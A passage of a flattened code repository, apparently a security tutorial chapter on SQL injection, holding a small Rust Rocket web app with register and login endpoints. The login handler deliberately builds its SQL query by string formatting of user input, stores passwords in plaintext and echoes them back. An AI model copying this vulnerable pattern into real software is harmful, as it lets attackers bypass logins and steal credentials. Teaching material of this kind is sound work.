max_connections = 1024 7 | connect_timeout = 5 8 | idle_timeout = 120 -------------------------------------------------------------------------------- /chapter-6/sql-injection/db.sqlite: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wiseaidev/dark-web-rust/84447871febeb7bb0a33b26aac645098bfcbdf7d/chapter-6/sql-injection/db.sqlite -------------------------------------------------------------------------------- /chapter-6/sql-injection/src/main.rs: -------------------------------------------------------------------------------- 1 | #[macro_use] 2 | extern crate rocket; 3 | use rocket::Error; 4 | 5 | use rocket::form::Form; 6 | use rocket_db_pools::sqlx::{self, Row}; 7 | use rocket_db_pools::{Connection, Database}; 8 | 9 | #[derive(Database)] 10 | #[database("sqlite_db")] 11 | struct DbConn(sqlx::SqlitePool); 12 | 13 | #[derive(Debug, FromForm)] 14 | struct UserData { 15 | username: String, 16 | password: String, 17 | } 18 | 19 | #[post("/login", data = "")] 20 | async fn login(mut conn: Connection, user_data: Form) -> Result { 21 | sqlx::query( 22 | r#" 23 | CREATE TABLE IF NOT EXISTS users ( 24 | username TEXT, 25 | password TEXT 26 | );"#, 27 | ) 28 | .execute(&mut **conn) 29 | .await 30 | .unwrap(); 31 | 32 | let username = &user_data.username; 33 | let password = &user_data.password; 34 | 35 | let query_result = sqlx::query(&format!( 36 | "SELECT * FROM users WHERE username = '{}' AND password = '{}'", 37 | username, password 38 | )) 39 | .fetch_one(&mut **conn) 40 | .await 41 | .and_then(|r| { 42 | let username: Result = Ok::(r.get::(0)); 43 | let password: Result = Ok::(r.get::(1)); 44 | Ok((username, password)) 45 | }) 46 | .ok(); 47 | 48 | match query_result { 49 | Some((username, password)) => Ok(format!( 50 | "username: {}, password: {}", 51 | username.unwrap(), 52 | password.unwrap() 53 | )), 54 | None => Err("User not found".into()), 55 | } 56 | } 57 | 58 | #[post("/register", data = "")] 59 | async fn register( 60 | mut conn: Connection, 61 | user_data: Form, 62 | ) -> Result { 63 | sqlx::query( 64 | r#" 65 | CREATE TABLE IF NOT EXISTS users ( 66 | username TEXT, 67 | password TEXT 68 | );"#, 69 | ) 70 | .execute(&mut **conn) 71 | .await 72 | .unwrap(); 73 | 74 | let username = &user_data.username; 75 | let password = &user_data.password; 76 | 77 | sqlx::query("INSERT INTO users (username, password) VALUES (?, ?)") 78 | .bind(username) 79 | .bind(password) 80 | .execute(&mut **conn) 81 | .await 82 | .unwrap(); 83 | 84 | Ok("Signed up successfully!".to_string()) 85 | } 86 | 87 | #[launch] 88 | fn rocket() -> _ { 89 | rocket::build() 90 | .attach(DbConn::init()) 91 | .mount("/", routes![register, login]) 92 | } 93 | -------------------------------------------------------------------------------- /src/main.rs: -------------------------------------------------------------------------------- 1 | fn main() { 2 | println!("Hello, world!"); 3 | } 4 | --------------------------------------------------------------------------------